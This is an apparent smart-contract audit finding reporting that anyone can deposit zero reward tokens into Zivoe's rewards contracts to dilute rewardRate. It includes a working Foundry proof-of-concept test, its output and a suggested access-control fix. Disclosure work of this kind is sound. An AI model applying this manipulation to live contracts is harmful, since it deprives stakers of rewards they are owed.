Dancing Honeysuckle Weasel

high

# Malicious users can deposit zero amount of reward tokens to manipulate the reward rate, leading to the loss of rewards for other users

## Summary
Malicious users can deposit zero amount of reward tokens to manipulate the reward rate, leading to the loss of rewards for other users

## Vulnerability Detail
In `ZivoeRewards.sol`/ `ZivoeRewardsVesting.sol` contract , after `ZVL` add reward token say `DAI` , anyone can deposit reward token to contract via `depositReward`.
[https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243)

When the current reward period has not ended, the `rewardRate` for `DAI` is recalculated. Assuming malicious users deposit a negligible amount of `DAI` in the middle of the current reward period, let's say after 15 days of a total 30-day period, the `rewardRate` can be reduced to half of what it should be. This could result in other users receiving less reward than they should when they withdraw rewards after the aforementioned deposit.

add a test to file `Test_ZivoeRewards.sol`:
```shell
forge test --mt test_deposit_manipulate_rate -vv --fork-url "xxxx"
```

```solidity
    function test_deposit_manipulate_rate() public {

        uint256 deposit = 10 ether;
        
        sam.try_approveToken(address(ZVE), address(stZVE), ERC20(address(ZVE)).balanceOf(address(sam)));

        //sam deposit to stake.
        hevm.prank(address(sam));
        sam.try_stake(address(stZVE), ERC20(address(ZVE)).balanceOf(address(sam)));

        //zvl add reward to contract.
        depositReward_DAI(address(stZVE), deposit);

        hevm.warp(block.timestamp + 15 days );

        //===============Malicious users===============//
        assert(bob.try_depositReward(address(stZVE), DAI, 0));
        //===============Malicious users===============//

        hevm.warp(block.timestamp + 15 days );

        //30 days passed by sam invoke fullwithdraw
        assert(sam.try_fullWithdraw(address(stZVE)));
        console.log(IERC20(address(DAI)).balanceOf(address(sam)));
    }
```

output:
```shell
Ran 1 test for src/TESTS_Core/Test_ZivoeRewards.sol:Test_ZivoeRewards
[PASS] test_deposit_manipulate_rate() (gas: 461244)
Logs:
  7499999999999945000
```
As we can see sam should get about 10 `DAI` reward since 30-day passed by however only get 7.5 `DAI`

## Impact
loss of rewards for other users

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243
```solidity
function depositReward(address _rewardsToken, uint256 reward) external updateReward(address(0)) nonReentrant {
    IERC20(_rewardsToken).safeTransferFrom(_msgSender(), address(this), reward);

    // Update vesting accounting for reward (if existing rewards being distributed, increase proportionally).
    if (block.timestamp >= rewardData[_rewardsToken].periodFinish) {
        rewardData[_rewardsToken].rewardRate = reward.div(rewardData[_rewardsToken].rewardsDuration);
    } else {
        uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
        uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
        rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
    }

    rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
    rewardData[_rewardsToken].periodFinish = block.timestamp.add(rewardData[_rewardsToken].rewardsDuration);
    emit RewardDeposited(_rewardsToken, reward, _msgSender());
}
```

## Tool used
Foundry

## Recommendation
add a `msg == IZivoeGlobals_ZivoeRewards(GBL).ZVL()`/`msg == IZivoeGlobals_ZivoeRewards(GBL).YDL()`  should be the most simple way to fix it